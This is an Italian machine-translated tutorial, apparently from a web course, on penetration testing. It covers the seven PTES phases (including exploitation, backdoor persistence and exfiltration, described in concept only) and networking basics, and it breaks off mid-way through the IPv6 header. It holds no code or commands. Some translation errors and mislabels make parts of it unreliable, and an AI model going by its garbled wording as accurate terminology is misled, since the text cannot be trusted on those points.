Penetration Testing di Python - Guida rapida

Pen test o penetration test, può essere definito come un tentativo di valutare la sicurezza di un'infrastruttura IT simulando un attacco informatico contro il sistema informatico per sfruttare le vulnerabilità.

Qual è la differenza tra la scansione delle vulnerabilità e il test di penetrazione? La scansione delle vulnerabilità identifica semplicemente le vulnerabilità annotate e il test di penetrazione, come detto in precedenza, è un tentativo di sfruttare le vulnerabilità. Il test di penetrazione aiuta a determinare se nel sistema è possibile l'accesso non autorizzato o qualsiasi altra attività dannosa.

Possiamo eseguire test di penetrazione per server, applicazioni web, reti wireless, dispositivi mobili e qualsiasi altro potenziale punto di esposizione utilizzando tecnologie manuali o automatizzate. A causa dei test di penetrazione, se sfruttiamo qualsiasi tipo di vulnerabilità, la stessa deve essere inoltrata all'IT e al gestore del sistema di rete per raggiungere una conclusione strategica.

Significato del test di penetrazione (penna)

In questa sezione, impareremo il significato dei test di penetrazione. Considera i seguenti punti per conoscere il significato:

Sicurezza dell'organizzazione

Il significato dei test di penetrazione può essere compreso dal punto in cui fornisce garanzia all'organizzazione con una valutazione dettagliata della sicurezza di tale organizzazione.

Protezione della riservatezza dell'organizzazione

Con l'aiuto dei test di penetrazione, possiamo individuare potenziali minacce prima di affrontare qualsiasi danno e proteggere la riservatezza di tale organizzazione.

Attuazione delle politiche di sicurezza

I test di penetrazione possono garantirci l'implementazione della politica di sicurezza in un'organizzazione.

Gestire l'efficienza della rete

Con l'aiuto dei test di penetrazione, è possibile gestire l'efficienza della rete. Può controllare la sicurezza di dispositivi come firewall, router, ecc.

Garantire la sicurezza dell'organizzazione

Supponiamo di voler implementare qualsiasi modifica nella progettazione della rete o aggiornare il software, l'hardware, ecc., I test di penetrazione garantiscono la sicurezza dell'organizzazione contro qualsiasi tipo di vulnerabilità.

Chi è un buon tester della penna?

I penetration tester sono professionisti del software che aiutano le organizzazioni a rafforzare le proprie difese contro gli attacchi informatici identificando le vulnerabilità. Un penetration tester può utilizzare tecniche manuali o strumenti automatizzati per i test.

Consideriamo ora le seguenti importanti caratteristiche di un buon penetration tester:

Conoscenza di networking e sviluppo di applicazioni

Un buon pentester deve avere conoscenza dello sviluppo di applicazioni, dell'amministrazione del database e della rete perché ci si aspetta che si occupi delle impostazioni di configurazione e della codifica.

Eccezionale pensatore

Pentester deve essere un pensatore eccezionale e non esiterà ad applicare diversi strumenti e metodologie su un particolare compito per ottenere il miglior risultato.

Conoscenza della procedura

Un buon pentester deve avere le conoscenze per stabilire l'ambito di ogni penetration test come i suoi obiettivi, i limiti e la giustificazione delle procedure.

Up-to-date nella tecnologia

Un pentester deve essere aggiornato nelle sue capacità tecnologiche perché ci può essere qualsiasi cambiamento nella tecnologia in qualsiasi momento.

Abile nella redazione di rapporti

Dopo aver implementato con successo i test di penetrazione, un tester di penna deve menzionare tutti i risultati e i potenziali rischi nel rapporto finale. Quindi, lui / lei deve avere buone capacità di redazione di rapporti.

Appassionato di sicurezza informatica

Una persona appassionata può raggiungere il successo nella vita. Allo stesso modo, se una persona è appassionata di cyber security, può diventare un buon tester di penna.

Ambito del test di penetrazione

Ora impareremo l'ambito dei test di penetrazione. I seguenti due tipi di test possono definire l'ambito dei test di penetrazione:

Test non distruttivi (NDT)

I test non distruttivi non mettono il sistema in alcun tipo di rischio. NDT viene utilizzato per trovare i difetti, prima che diventino pericolosi, senza danneggiare il sistema, l'oggetto, ecc. Durante i test di penetrazione, NDT esegue le seguenti azioni:

Scansione di sistemi remoti

Questo test analizza e identifica il sistema remoto per possibili vulnerabilità.

Verifica

Dopo aver individuato le vulnerabilità, esegue anche la verifica di tutto ciò che viene trovato.

Utilizzo corretto del sistema remoto

In NDT, un tester a penna utilizzerebbe correttamente il sistema remoto. Questo aiuta a evitare interruzioni.

Note - D'altra parte, durante i test di penetrazione, l'NDT non esegue Denial-of-Service (DoS) attack.

Test distruttivi

I test distruttivi possono mettere a rischio il sistema. È più costoso e richiede più competenze rispetto ai test non distruttivi. Durante i test di penetrazione, i test distruttivi eseguono le seguenti azioni:

  • Denial-of-Service (DoS) attack - I test distruttivi eseguono attacchi DoS.

  • Buffer overflow attack - Esegue anche un attacco di overflow del buffer che può portare al crash del sistema.

Cosa installare per il test di penetrazione pratico?

Le tecniche e gli strumenti di test di penetrazione devono essere eseguiti solo in ambienti di cui si è proprietari o in cui si dispone dell'autorizzazione per eseguire questi strumenti. Non dobbiamo mai mettere in pratica queste tecniche in ambienti in cui non siamo autorizzati a farlo perché i test di penetrazione senza autorizzazione sono illegali.

  • Possiamo anche esercitarci nei test di penetrazione installando una suite di virtualizzazione VMware Player( www.vmware.com/products/player ) oOracle VirtualBox -

    www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html

  • Possiamo anche creare macchine virtuali (VM) dalla versione corrente di:

    • Kali Linux ( www.kali.org/downloads/ )

    • Samurai Web Testing Framework (http://samurai.inguardians.com/)

    • Metasploitable ( www.offensivesecurity.com/metasploit-unleashed/Requirements )

Negli ultimi tempi, sia il governo che le organizzazioni private hanno assunto la sicurezza informatica come priorità strategica. I criminali informatici hanno spesso fatto del governo e delle organizzazioni private i loro obiettivi morbidi utilizzando diversi vettori di attacco. Sfortunatamente, a causa della mancanza di politiche efficienti, standard e complessità del sistema informativo, i criminali informatici hanno un gran numero di obiettivi e stanno avendo successo nello sfruttare il sistema e anche nel rubare informazioni.

Il test di penetrazione è una strategia che può essere utilizzata per mitigare i rischi di attacchi informatici. Il successo dei test di penetrazione dipende da una metodologia di valutazione efficiente e coerente.

Abbiamo una varietà di metodologie di valutazione relative ai test di penetrazione. Il vantaggio dell'utilizzo di una metodologia è che consente ai valutatori di valutare un ambiente in modo coerente. Di seguito sono riportate alcune metodologie importanti:

  • Open Source Security Testing Methodology Manual (OSSTMM)

  • Apri Web Application Security Project (OWASP)

  • Istituto nazionale di standard e tecnologia (NIST)

  • Penetration Testing Execution Standard (PTES)

Cos'è PTES?

PTES, standard di esecuzione dei test di penetrazione, come suggerisce il nome, è una metodologia di valutazione per i test di penetrazione. Copre tutto ciò che riguarda un test di penetrazione. Abbiamo una serie di linee guida tecniche, all'interno di PTES, relative a diversi ambienti che un valutatore può incontrare. Questo è il più grande vantaggio dell'utilizzo di PTES da parte dei nuovi valutatori perché le linee guida tecniche contengono i suggerimenti per affrontare e valutare l'ambiente all'interno degli strumenti standard del settore.

Nella sezione seguente impareremo le diverse fasi di PTES.

Sette fasi del PTES

Lo standard di esecuzione dei test di penetrazione (PTES) è costituito da sette fasi. Queste fasi coprono tutto ciò che riguarda un test di penetrazione: dalla comunicazione iniziale e il ragionamento dietro un pentest, attraverso la raccolta di informazioni e le fasi di modellazione delle minacce in cui i tester lavorano dietro le quinte. Ciò porta a una migliore comprensione dell'organizzazione testata, attraverso la ricerca sulla vulnerabilità, lo sfruttamento e lo sfruttamento successivo. Qui, l'esperienza tecnica in materia di sicurezza dei tester è combinata in modo critico con la comprensione aziendale dell'impegno e, infine, al reporting, che cattura l'intero processo, in un modo che abbia senso per il cliente e fornisca il massimo valore ad esso.

Impareremo le sette fasi del PTES nelle nostre sezioni successive:

Fase delle interazioni preliminari

Questa è la prima e molto importante fase di PTES. L'obiettivo principale di questa fase è spiegare gli strumenti e le tecniche disponibili, che aiutano in una fase di pre-coinvolgimento di successo di un penetration test. Qualsiasi errore durante l'implementazione di questa fase può avere un impatto significativo sul resto della valutazione. Questa fase comprende quanto segue:

Richiesta di valutazione

La primissima parte con cui inizia questa fase è la creazione di una richiesta di valutazione da parte dell'organizzazione. UNRequest for Proposal (RFP) ai valutatori viene fornito un documento contenente i dettagli sull'ambiente, il tipo di valutazione richiesta e le aspettative dell'organizzazione.

Fare offerte

Ora, in base al RFP documento, più società di valutazione o singole società a responsabilità limitata (LLC) faranno un'offerta e vincerà la parte, la cui offerta corrisponde al lavoro richiesto, al prezzo e ad alcuni altri parametri specifici.

Firma della lettera di fidanzamento (EL)

Ora, l'organizzazione e il partito, che ha vinto la gara, firmeranno un contratto di Engagement Letter (EL). La lettera avrà l'estensionestatement of work (SOW) e il prodotto finale.

Scoping Meeting

Una volta firmato l'EL, può iniziare la messa a punto dell'ambito. Tali riunioni aiutano un'organizzazione e il partito a mettere a punto un particolare ambito. L'obiettivo principale della riunione di scoping è discutere ciò che verrà testato.

Gestione dello scorrimento dell'ambito

Lo scope creep è qualcosa in cui il cliente può provare ad aggiungere o estendere il livello di lavoro promesso per ottenere più di quanto avrebbe promesso di pagare. Questo è il motivo per cui le modifiche allo scopo originale dovrebbero essere attentamente considerate a causa del tempo e delle risorse. Deve anche essere completato in una forma documentata come e-mail, documento firmato o lettera autorizzata ecc.

Questionari

Durante le comunicazioni iniziali con il cliente, ci sono diverse domande a cui il cliente dovrà rispondere per una corretta stima dell'ambito dell'incarico. Queste domande sono progettate per fornire una migliore comprensione di ciò che il cliente sta cercando di ottenere dal test di penetrazione; perché il cliente sta cercando di eseguire un test di penetrazione nel proprio ambiente; e se desiderano o meno determinati tipi di test eseguiti durante il test di penetrazione.

Modo per condurre il test

L'ultima parte della fase di pre-impegno è decidere la procedura per condurre il test. Ci sono varie strategie di test come White Box, Black Box, Gray Box, test in doppio cieco tra cui scegliere.

Di seguito sono riportati alcuni esempi di valutazioni che possono essere richieste:

  • Test di penetrazione della rete
  • Penetration test delle applicazioni web
  • Test di penetrazione della rete wireless
  • Test di penetrazione fisica
  • Ingegneria sociale
  • Phishing
  • Voice Over Internet Protocol (VOIP)
  • Rete interna
  • Rete esterna

Fase di raccolta di informazioni

La raccolta di informazioni, la seconda fase del PTES, è dove eseguiamo il rilevamento preliminare contro un obiettivo per raccogliere quante più informazioni possibili da utilizzare quando si penetra nel bersaglio durante le fasi di valutazione e sfruttamento della vulnerabilità. Aiuta le organizzazioni a determinare l'esposizione esterna da parte del team di valutazione. Possiamo dividere la raccolta di informazioni nei seguenti tre livelli:

Raccolta di informazioni di livello 1

Gli strumenti automatizzati possono ottenere questo livello di informazioni quasi interamente. Lo sforzo di raccolta delle informazioni di livello 1 dovrebbe essere appropriato per soddisfare i requisiti di conformità.

Raccolta di informazioni di livello 2

Questo livello di informazioni può essere ottenuto utilizzando strumenti automatizzati dal livello 1 insieme ad alcune analisi manuali. Questo livello richiede una buona comprensione del business, comprese informazioni quali ubicazione fisica, relazione commerciale, organigramma, ecc. Lo sforzo di raccolta delle informazioni di livello 2 dovrebbe essere appropriato per soddisfare i requisiti di conformità insieme ad altre esigenze come la strategia di sicurezza a lungo termine, acquisizione di produttori più piccoli, ecc.

Raccolta di informazioni di livello 3

Questo livello di raccolta di informazioni viene utilizzato nel penetration test più avanzato. Per la raccolta delle informazioni di livello 3 sono necessarie tutte le informazioni del livello 1 e 2 insieme a molte analisi manuali.

Fase di modellazione delle minacce

Questa è la terza fase di PTES. L'approccio di modellazione delle minacce è necessario per la corretta esecuzione dei test di penetrazione. La modellazione delle minacce può essere utilizzata come parte di un test di penetrazione o può essere affrontata in base a una serie di fattori. Nel caso in cui utilizziamo la modellazione delle minacce come parte del test di penetrazione, le informazioni raccolte nella seconda fase verrebbero riportate alla prima fase.

I passaggi seguenti costituiscono la fase di modellazione delle minacce:

  • Raccogli le informazioni necessarie e pertinenti.

  • Necessità di identificare e classificare le risorse primarie e secondarie.

  • Necessità di identificare e classificare minacce e comunità di minacce.

  • Necessità di mappare le comunità di minacce rispetto alle risorse primarie e secondarie.

Comunità e agenti minacciati

La tabella seguente elenca le comunità e gli agenti delle minacce pertinenti insieme alla loro posizione nell'organizzazione:

Posizione Interno Esterno
Threat agents/communities Dipendenti Soci in affari
Persone di gestione Appaltatori
Amministratori (rete, sistema) Concorrenti
Ingegneri Fornitori
Tecnici Stati nazionali
Comunità di utenti generici Gli hacker

Durante la valutazione del modello delle minacce, dobbiamo ricordare che la posizione delle minacce può essere interna. Basta una singola e-mail di phishing o un dipendente infastidito che sta mettendo in gioco la sicurezza dell'organizzazione trasmettendo le credenziali.

Fase di analisi delle vulnerabilità

Questa è la quarta fase del PTES in cui il valutatore identificherà gli obiettivi fattibili per ulteriori test. Nelle prime tre fasi del PTES, sono stati estratti solo i dettagli sull'organizzazione e il valutatore non ha toccato alcuna risorsa per il test. È la fase che richiede più tempo di PTES.

Le fasi seguenti costituiscono l'analisi delle vulnerabilità:

Test di vulnerabilità

Può essere definito come il processo di scoperta di difetti come configurazione errata e progetti di applicazioni non sicure nei sistemi e nelle applicazioni di host e servizi. Il tester deve valutare adeguatamente il test e il risultato desiderato prima di condurre l'analisi delle vulnerabilità. Il test di vulnerabilità può essere dei seguenti tipi:

  • Test attivi
  • Test passivi

Discuteremo i due tipi in dettaglio nelle nostre sezioni successive.

Test attivi

Implica l'interazione diretta con il componente testato per le vulnerabilità della sicurezza. I componenti possono essere a basso livello come lo stack TCP su un dispositivo di rete o ad alto livello come l'interfaccia basata sul web. Il test attivo può essere eseguito nei due modi seguenti:

Test attivi automatizzati

Utilizza il software per interagire con un obiettivo, esaminare le risposte e determinare in base a queste risposte se è presente o meno una vulnerabilità nel componente. L'importanza del test attivo automatizzato rispetto al test attivo manuale può essere compreso dal fatto che se ci sono migliaia di porte TCP su un sistema e abbiamo bisogno di connetterle tutte manualmente per il test, ci vorrebbe una quantità di tempo considerevolmente enorme. Tuttavia, farlo con strumenti automatizzati può ridurre molto tempo e lavoro. La scansione delle vulnerabilità di rete, la scansione delle porte, l'acquisizione di banner e la scansione delle applicazioni web possono essere eseguite con l'aiuto di strumenti di test attivi automatizzati.

Test attivo manuale

Il test manuale efficace è più efficace rispetto al test attivo automatizzato. Il margine di errore esiste sempre con processi o tecnologie automatizzati. Questo è il motivo per cui si consiglia sempre di eseguire connessioni dirette manuali a ciascun protocollo o servizio disponibile su un sistema di destinazione per convalidare il risultato del test automatizzato.

Test passivi

Il test passivo non implica l'interazione diretta con il componente. Può essere implementato con l'aiuto delle seguenti due tecniche:

Analisi dei metadati

Questa tecnica prevede di esaminare i dati che descrivono il file piuttosto che i dati del file stesso. Ad esempio, il file MS Word contiene i metadati in termini di nome dell'autore, nome dell'azienda, data e ora in cui il documento è stato modificato e salvato l'ultima volta. Ci sarebbe un problema di sicurezza se un utente malintenzionato potesse ottenere l'accesso passivo ai metadati.

Monitoraggio del traffico

Può essere definita come la tecnica per connettersi a una rete interna e acquisire dati per l'analisi offline. Viene utilizzato principalmente per acquisire i file“leaking of data” su una rete commutata.

Validazione

Dopo i test di vulnerabilità, la convalida dei risultati è molto necessaria. Può essere fatto con l'aiuto delle seguenti tecniche:

Correlazione tra strumenti

Se un valutatore sta eseguendo test di vulnerabilità con più strumenti automatizzati, per convalidare i risultati, è molto necessario avere una correlazione tra questi strumenti. I risultati possono diventare complicati se non esiste un simile tipo di correlazione tra gli strumenti. Può essere suddiviso in correlazione specifica di elementi e correlazione categoriale di elementi.

Convalida specifica del protocollo

La convalida può essere eseguita anche con l'aiuto dei protocolli. VPN, Citrix, DNS, Web, server di posta possono essere utilizzati per convalidare i risultati.

Ricerca

Dopo aver individuato e convalidato la vulnerabilità in un sistema, è essenziale determinare l'accuratezza dell'identificazione del problema e ricercare la potenziale sfruttabilità della vulnerabilità nell'ambito del penetration test. La ricerca può essere svolta pubblicamente o privatamente. Durante la ricerca pubblica, è possibile utilizzare il database delle vulnerabilità e gli avvisi dei fornitori per verificare l'accuratezza di un problema segnalato. D'altra parte, durante la ricerca privata, è possibile impostare un ambiente di replica e applicare tecniche come il fuzzing o le configurazioni di test per verificare l'accuratezza di un problema segnalato.

Fase di sfruttamento

Questa è la quinta fase di PTES. Questa fase si concentra sull'ottenere l'accesso al sistema o alla risorsa aggirando le restrizioni di sicurezza. In questa fase tutto il lavoro svolto dalle fasi precedenti porta ad accedere al sistema. Ci sono alcuni termini comuni usati di seguito per ottenere l'accesso al sistema:

  • Popped
  • Shelled
  • Cracked
  • Exploited

Il sistema di login, in fase di sfruttamento, può essere effettuato con l'ausilio di codice, exploit remoto, creazione di exploit, bypassando antivirus oppure può essere semplice come logging tramite credenziali deboli. Dopo aver ottenuto l'accesso, ovvero dopo aver identificato il punto di ingresso principale, il valutatore deve concentrarsi sull'identificazione di asset target di alto valore. Se la fase di analisi delle vulnerabilità è stata completata correttamente, sarebbe stato necessario rispettare un elenco di obiettivi di alto valore. In definitiva, il vettore di attacco dovrebbe prendere in considerazione la probabilità di successo e il massimo impatto sull'organizzazione.

Fase di post sfruttamento

Questa è la sesta fase di PTES. Un valutatore intraprende le seguenti attività in questa fase:

Analisi dell'infrastruttura

In questa fase viene eseguita l'analisi dell'intera infrastruttura utilizzata durante i penetration test. Ad esempio, l'analisi della rete o della configurazione di rete può essere eseguita con l'aiuto di interfacce, routing, server DNS, voci DNS memorizzate nella cache, server proxy, ecc.

Saccheggio

Può essere definito come ottenere le informazioni da host mirati. Queste informazioni sono rilevanti per gli obiettivi definiti nella fase di pre-valutazione. Queste informazioni possono essere ottenute da programmi installati, server specifici come server di database, stampanti, ecc. Sul sistema.

Esfiltrazione di dati

Nell'ambito di questa attività, al valutatore è richiesto di eseguire la mappatura e il test di tutti i possibili percorsi di esfiltrazione in modo che sia possibile eseguire la misurazione della forza di controllo, ovvero rilevare e bloccare le informazioni sensibili dall'organizzazione.

Creare persistenza

Questa attività include l'installazione di backdoor che richiedono l'autenticazione, il riavvio di backdoor quando richiesto e la creazione di account alternativi con password complesse.

Pulire

Come suggerisce il nome, questo processo copre i requisiti per la pulizia del sistema una volta completato il test di penetrazione. Questa attività include il ripristino dei valori originali delle impostazioni di sistema, dei parametri di configurazione dell'applicazione e la rimozione di tutte le backdoor installate e di qualsiasi account utente creato.

Segnalazione

Questa è la fase finale e più importante di PTES. Qui, il cliente paga sulla base del rapporto finale dopo il completamento del test di penetrazione. Il rapporto è fondamentalmente uno specchio dei risultati fatti dal valutatore sul sistema. Di seguito sono riportate le parti essenziali di un buon rapporto:

Sintesi

Questo è un rapporto che comunica al lettore gli obiettivi specifici del penetration test e i risultati di alto livello dell'esercizio di test. Il pubblico previsto può essere un membro del comitato consultivo del capo suite.

Trama

Il rapporto deve contenere una trama, che spieghi cosa è stato fatto durante il coinvolgimento, i risultati o i punti deboli effettivi della sicurezza e i controlli positivi che l'organizzazione ha stabilito.

Prova di concetto / relazione tecnica

La prova di concetto o la relazione tecnica deve consistere nei dettagli tecnici del test e in tutti gli aspetti / componenti concordati come indicatori chiave di successo nell'ambito dell'esercizio pre-impegno. La sezione del rapporto tecnico descriverà in dettaglio l'ambito, le informazioni, il percorso di attacco, l'impatto e i suggerimenti di rimedio del test.

Abbiamo sempre sentito dire che per eseguire test di penetrazione, un pentester deve essere consapevole dei concetti di rete di base come indirizzi IP, sottoreti di classe, sottoreti senza classi, porte e reti di trasmissione. La prima ragione è che le attività come quali host sono attivi nell'ambito approvato e quali servizi, porte e funzionalità hanno aperti e reattivi determineranno il tipo di attività che un valutatore eseguirà nei test di penetrazione. L'ambiente continua a cambiare e i sistemi vengono spesso riallocati. Quindi, è del tutto possibile che vecchie vulnerabilità possano ripresentarsi e senza la buona conoscenza della scansione di una rete, può accadere che le scansioni iniziali debbano essere rifatte. Nelle nostre sezioni successive, discuteremo le basi della comunicazione di rete.

Modello di riferimento

Il modello di riferimento offre un mezzo di standardizzazione, che è accettabile in tutto il mondo poiché le persone che utilizzano la rete di computer si trovano su un ampio raggio fisico ei loro dispositivi di rete potrebbero avere un'architettura eterogenea. Per fornire la comunicazione tra dispositivi eterogenei, abbiamo bisogno di un modello standardizzato, cioè un modello di riferimento, che ci fornisca un modo in cui questi dispositivi possono comunicare.

Abbiamo due modelli di riferimento come il modello OSI e il modello di riferimento TCP / IP. Tuttavia, il modello OSI è ipotetico, ma il TCP / IP è un modello pratico.

Modello OSI

L'interfaccia del sistema aperto è stata progettata dall'organizzazione internazionale di standardizzazione (ISO) e, pertanto, è indicata anche come modello ISO-OSI.

Il modello OSI è costituito da sette livelli come mostrato nel diagramma seguente. Ogni livello ha una funzione specifica, tuttavia ogni livello fornisce servizi al livello superiore.

Livello fisico

Il livello fisico è responsabile delle seguenti attività:

  • Attivazione, mantenimento e disattivazione della connessione fisica.

  • Definizione di tensioni e velocità dati necessarie per la trasmissione.

  • Conversione di bit digitali in segnale elettrico.

  • Decidere se la connessione è simplex, half-duplex o full-duplex.

Livello di collegamento dati

Il livello di collegamento dati esegue le seguenti funzioni:

  • Esegue la sincronizzazione e il controllo degli errori per le informazioni che devono essere trasmesse tramite il collegamento fisico.

  • Abilita il rilevamento degli errori e aggiunge bit di rilevamento degli errori ai dati che devono essere trasmessi.

Livello di rete

Il livello di rete svolge le seguenti funzioni:

  • Per indirizzare i segnali attraverso vari canali all'altra estremità.

  • Agire come controller di rete decidendo quale percorso devono prendere i dati.

  • Per dividere i messaggi in uscita in pacchetti e per assemblare i pacchetti in arrivo in messaggi per livelli superiori.

Livello di trasporto

Il livello di trasporto svolge le seguenti funzioni:

  • Decide se la trasmissione dei dati debba avvenire su percorsi paralleli o percorso unico.

  • Esegue multiplexing, suddivisione sui dati.

  • Suddividi i gruppi di dati in unità più piccole in modo che vengano gestiti in modo più efficiente dal livello di rete.

Il Transport Layer garantisce la trasmissione dei dati da un'estremità all'altra.

Livello di sessione

Il livello di sessione esegue le seguenti funzioni:

  • Gestisce i messaggi e sincronizza le conversazioni tra due diverse applicazioni.

  • Controlla l'accesso e lo scollegamento, l'identificazione dell'utente, la fatturazione e la gestione delle sessioni.

Livello di presentazione

Il livello Presentazione svolge le seguenti funzioni:

  • Questo livello garantisce che le informazioni vengano fornite in una forma tale che il sistema ricevente le comprenda e le utilizzi.

Livello applicazione

Il livello Applicazione svolge le seguenti funzioni:

  • Fornisce diversi servizi come la manipolazione delle informazioni in diversi modi, il ritrasferimento dei file di informazioni, la distribuzione dei risultati, ecc.

  • Le funzioni come LOGIN o il controllo della password vengono eseguite anche dal livello dell'applicazione.

Modello TCP / IP

Il modello TCP / IP (Transmission Control Protocol and Internet Protocol) è un modello pratico e viene utilizzato in Internet.

Il modello TCP / IP combina i due livelli (livello fisico e livello di collegamento dati) in un unico livello: livello Host-to-Network. Il diagramma seguente mostra i vari livelli del modello TCP / IP:

Livello applicazione

Questo livello è uguale a quello del modello OSI e svolge le seguenti funzioni:

  • Fornisce diversi servizi come la manipolazione delle informazioni in diversi modi, il ritrasferimento dei file di informazioni, la distribuzione dei risultati, ecc.

  • Il livello dell'applicazione esegue anche funzioni come LOGIN o controllo della password.

  • Di seguito sono riportati i diversi protocolli utilizzati nel livello Applicazione:

    • TELNET
    • FTP
    • SMTP
    • DN
    • HTTP
    • NNTP

Livello di trasporto

Svolge le stesse funzioni del livello di trasporto nel modello OSI. Considera i seguenti punti importanti relativi al livello di trasporto:

  • Utilizza il protocollo TCP e UDP per la trasmissione end-to-end.

  • TCP è un protocollo affidabile e orientato alla connessione.

  • TCP gestisce anche il controllo del flusso.

  • L'UDP non è affidabile e un protocollo senza connessione non esegue il controllo del flusso.

  • I protocolli TCP / IP e UDP vengono utilizzati in questo livello.

Livello Internet

La funzione di questo livello è quella di consentire all'host di inserire i pacchetti nella rete e poi farli viaggiare indipendentemente verso la destinazione. Tuttavia, l'ordine di ricezione del pacchetto può essere diverso dalla sequenza in cui sono stati inviati.

Il protocollo Internet (IP) viene utilizzato nel livello Internet.

Livello host-rete

Questo è il livello più basso nel modello TCP / IP. L'host deve connettersi alla rete utilizzando un protocollo, in modo da poter inviare pacchetti IP su di esso. Questo protocollo varia da host a host e da rete a rete.

I diversi protocolli utilizzati in questo livello sono:

  • ARPANET
  • SATNET
  • LAN
  • Packet radio

Architettura utile

Di seguito sono riportate alcune architetture utili, utilizzate nella comunicazione di rete:

L'architettura del frame Ethernet

Un ingegnere di nome Robert Metcalfe ha inventato per la prima volta la rete Ethernet, definita secondo lo standard IEEE 802.3, nel 1973. È stata utilizzata per la prima volta per interconnettere e inviare dati tra la workstation e la stampante. Più dell'80% delle LAN utilizza lo standard Ethernet per la sua velocità, i costi inferiori e la facilità di installazione. D'altra parte, se parliamo di frame, i dati viaggiano da host a host lungo il percorso. Un frame è costituito da vari componenti come indirizzo MAC, intestazione IP, delimitatore di inizio e fine, ecc.

Il frame Ethernet inizia con Preamble e SFD. L'intestazione Ethernet contiene sia l'indirizzo MAC di origine che quello di destinazione, dopodiché è presente il carico utile del frame. L'ultimo campo è CRC, utilizzato per rilevare l'errore. La struttura del frame Ethernet di base è definita nello standard IEEE 802.3, spiegato come di seguito:

Il formato frame Ethernet (IEEE 802.3)

Il pacchetto Ethernet trasporta un frame Ethernet come payload. Di seguito è riportata una rappresentazione grafica del frame Ethernet insieme alla descrizione di ciascun campo:

Nome campo Preambolo SFD (inizio del delimitatore di frame) MAC di destinazione Fonte MAC genere Dati CRC
Dimensioni (in byte) 7 1 6 6 2 46-1500 4

Preambolo

Un frame Ethernet è preceduto da un preambolo, 7 byte di dimensione, che informa il sistema ricevente che un frame sta iniziando e consente al mittente e al destinatario di stabilire la sincronizzazione dei bit.

SFD (inizio del delimitatore di frame)

Questo è un campo da 1 byte utilizzato per indicare che il campo dell'indirizzo MAC di destinazione inizia con il byte successivo. A volte il campo SFD è considerato parte di Preambolo. Questo è il motivo per cui il preambolo è considerato 8 byte in molti punti.

  • Destination MAC - Questo è un campo di 6 byte in cui abbiamo l'indirizzo del sistema ricevente.

  • Source MAC - Questo è un campo di 6 byte in cui abbiamo l'indirizzo del sistema di invio.

  • Type- Definisce il tipo di protocollo all'interno del frame. Ad esempio, IPv4 o IPv6. La sua dimensione è di 2 byte.

  • Data- Questo è anche chiamato Payload e i dati effettivi vengono inseriti qui. La sua lunghezza deve essere compresa tra 46-1500 byte. Se la lunghezza è inferiore a 46 byte, vengono aggiunti gli 0 di riempimento per soddisfare la lunghezza minima possibile, ovvero 46.

  • CRC (Cyclic Redundancy Check) - Questo è un campo a 4 byte contenente CRC a 32 bit, che consente il rilevamento di dati danneggiati.

Formato frame Ethernet esteso (frame Ethernet II)

Di seguito è riportata una rappresentazione grafica del frame Ethernet esteso utilizzando il quale possiamo ottenere un Payload maggiore di 1500 byte -

Nome campo MAC di destinazione Fonte MAC genere DSAP SSAP Ctrl Dati CRC
Dimensioni (in byte) 6 6 2 1 1 1 > 46 4

La descrizione dei campi, che sono diversi dal frame Ethernet IEEE 802.3, è la seguente:

DSAP (Destination Service Access Point)

DSAP è un campo lungo 1 byte che rappresenta gli indirizzi logici dell'entità del livello di rete destinata a ricevere il messaggio.

SSAP (punto di accesso al servizio di origine)

SSAP è un campo lungo 1 byte che rappresenta l'indirizzo logico dell'entità del livello di rete che ha creato il messaggio.

Ctrl

Questo è un campo di controllo da 1 byte.

L'architettura del pacchetto IP

Il protocollo Internet è uno dei principali protocolli nella suite di protocolli TCP / IP. Questo protocollo funziona a livello di rete del modello OSI e a livello di Internet del modello TCP / IP. Pertanto, questo protocollo ha la responsabilità di identificare gli host in base ai loro indirizzi logici e di instradare i dati tra di loro sulla rete sottostante. L'IP fornisce un meccanismo per identificare in modo univoco gli host tramite uno schema di indirizzamento IP. IP utilizza la consegna del massimo sforzo, ovvero non garantisce che i pacchetti vengano consegnati all'host di destinazione, ma farà del suo meglio per raggiungere la destinazione.

Nelle nostre sezioni successive, impareremo a conoscere le due diverse versioni di IP.

IPv4

Questa è la versione 4 del protocollo Internet, che utilizza un indirizzo logico a 32 bit. Di seguito è riportato il diagramma dell'intestazione IPv4 insieme alla descrizione dei campi:

Versione

Questa è la versione del protocollo Internet utilizzato; ad esempio, IPv4.

IHL

Lunghezza intestazione Internet; lunghezza dell'intera intestazione IP.

DSCP

Code Point Servizi differenziati; questo è il tipo di servizio.

ECN

Notifica esplicita della congestione; trasporta le informazioni sulla congestione osservata nel percorso.

Lunghezza totale

La lunghezza dell'intero pacchetto IP (inclusi header IP e payload IP).

Identificazione

Se il pacchetto IP viene frammentato durante la trasmissione, tutti i frammenti contengono lo stesso numero di identificazione.

Bandiere

Come richiesto dalle risorse di rete, se il pacchetto IP è troppo grande per essere gestito, questi "flag" indicano se possono essere frammentati o meno. In questo flag a 3 bit, l'MSB è sempre impostato su "0".

Frammento offset

Questo offset indica la posizione esatta del frammento nel pacchetto IP originale.

Tempo di vivere

Per evitare loop nella rete, ogni pacchetto viene inviato con un valore TTL impostato, che indica alla rete quanti router (hop) questo pacchetto può attraversare. Ad ogni salto, il suo valore viene decrementato di uno e quando il valore raggiunge lo zero, il pacchetto viene scartato.

Protocollo

Indica al livello di rete dell'host di destinazione, a quale protocollo appartiene questo pacchetto, ovvero il protocollo di livello successivo. Ad esempio, il numero di protocollo di ICMP è 1, TCP è 6 e UDP è 17.

Checksum intestazione

Questo campo viene utilizzato per mantenere il valore di checksum dell'intera intestazione, che viene quindi utilizzato per verificare se il pacchetto viene ricevuto senza errori.

Indirizzo di partenza

Indirizzo a 32 bit del mittente (o sorgente) del pacchetto.

Indirizzo di destinazione

Indirizzo a 32 bit del destinatario (o destinazione) del pacchetto.

Opzioni

Questo è un campo facoltativo, che viene utilizzato se il valore di IHL è maggiore di 5. Queste opzioni possono contenere valori per opzioni come Sicurezza, Registra percorso, Timestamp, ecc.

Se vuoi studiare IPv4 in dettaglio, fai riferimento a questo link - www.tutorialspoint.com/ipv4/index.htm

IPv6

La versione 6 del protocollo Internet è il protocollo di comunicazione più recente, che come il suo predecessore IPv4 funziona sul livello di rete (livello 3). Insieme alla sua offerta di un'enorme quantità di spazio di indirizzi logici, questo protocollo ha ampie funzionalità che risolvono il difetto di IPv4. Di seguito è riportato il diagramma dell'intestazione IPv4 insieme alla descrizione dei campi:

Versione (4 bit)

Rappresenta la versione del protocollo Internet - 0110.

Classe di traffico (8 bit)

